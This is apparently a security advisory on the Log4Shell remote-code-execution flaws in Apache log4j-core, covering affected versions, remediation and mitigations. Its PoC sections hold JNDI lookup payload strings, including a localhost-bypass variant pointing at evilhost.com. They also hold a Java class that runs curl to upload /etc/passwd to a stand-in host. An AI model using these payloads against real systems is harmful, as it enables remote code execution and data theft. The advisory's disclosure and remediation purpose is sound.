Find, fix and prevent vulnerabilities in your code.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

From log4j 2.15.0, JNDI LDAP endpoints are restricted to localhost by default.

PoC

When an application uses log4j to log user input, an attacker can exploit this vulnerability, by supplying a malicious string that the application logs - for example, ${jndi:ldap://someurl/Evil}. This causes the application to execute a malicious class supplied by an attacker’s LDAP server (someurl/Evil in this example).

For example, the vulnerability can be used to inject this malicious class into an application:

public class Evil implements ObjectFactory  {
   @Override
   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' https://someurl/upload");
       return  null;
   }
}

This causes the application to disclose the etc/passwd file on the system, and send it to a remote attacker.

Further Remediation Options

If upgrading the version is not possible, we strongly recommend to mitigate the vulnerability using one of these methods:

• Remove JndiLookup.class from the class path (i.e: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. While not pertinent to log4shell, consider also removing JndiManager, JMSAppender and SMTPAppender if you are not using them, as there are unconfirmed reports they could be leveraged in similar attacks in the future.
• Partial mitigation: disable lookups via system properties or environmental variables. If you use log4j >=2.10.0, you can set the system property LOG4J_FORMAT_MSG_NO_LOOKUPS or the environmental variable Dlog4j2.formatMsgNoLookups to true. (RCE is possible in some non-default Pattern Layout configurations that use a Context Lookup or a Thread Context Map pattern.)

Upgrading your JDK versions is not enough to mitigate this vulnerability in all circumstances, as it was proven that setting the com.sun.jndi.ldap.object.trustURLCodebase property to false is not enough.
For more remediation advice, please visit the Log4j Remediation Cheat Sheet post.

Note: org.apache.logging.log4j:log4j-api was originally deemed vulnerable, but Apache maintainers have since clarified that this only affects org.apache.logging.log4j:log4j-core.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.15.0 or higher.

Use this guide to scan your projects for the Log4Shell vulnerability.

References

• Apache Jira Issues

• Apache Jira Issues

• Apache Security Advisory

• GitHub PR

• PoC

• Snyk Blog and Vulnerability Breakdown

• Exploit DB

• CISA - Known Exploited Vulnerabilities

• Nuclei Templates

• PoC in GitHub

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) if one of the following conditions is met:

1. Logging configuration explicitly enables lookups – either by default (if using a version lower than 2.15.0) or manually by using %m{lookups} as formatMsgNoLookups is switched on by default as of version 2.15.0.
2. Or uses a non-default Pattern Layout with Context Lookup where attackers can control input data via Thread Context Map (MDC),
3. Or uses Logger.printf("%s", userInput) function where attackers can control the userInput variable.

A malicious actor is able to bypass the mitigation implemented in version 2.15.0 that limits JNDI lookups to localhost only: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}.

We recommend updating to version 2.16.0 which completely disables JNDI lookups by default. If upgrading is not an option, this issue can be mitigated in prior releases by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

PoC

In config:

<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>

In code:

ThreadContext.put("loginId", UserControlledInput);

History

This vulnerability was previously assigned a CVSS score of 3.7 (Low), and the impact was believed to be Denial of Service (DoS).

Furthermore, the advisory previously mentioned Thread Context Map patterns (%X, %mdc, or %MDC) as being vulnerable to this issue, but that has since been proven wrong.

On December 17, 2021 new information came to light, demonstrating that an Arbitrary Code Execution vulnerability still exists in version 2.15.0 of Log4j due to a bypass to the localhost-only lookup mechanism.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.16.0 or higher.

References

• Apache Pony Mail
• Apache Security Page
• Twitter Post
• Nuclei Templates
• CISA - Known Exploited Vulnerabilities
• PoC in GitHub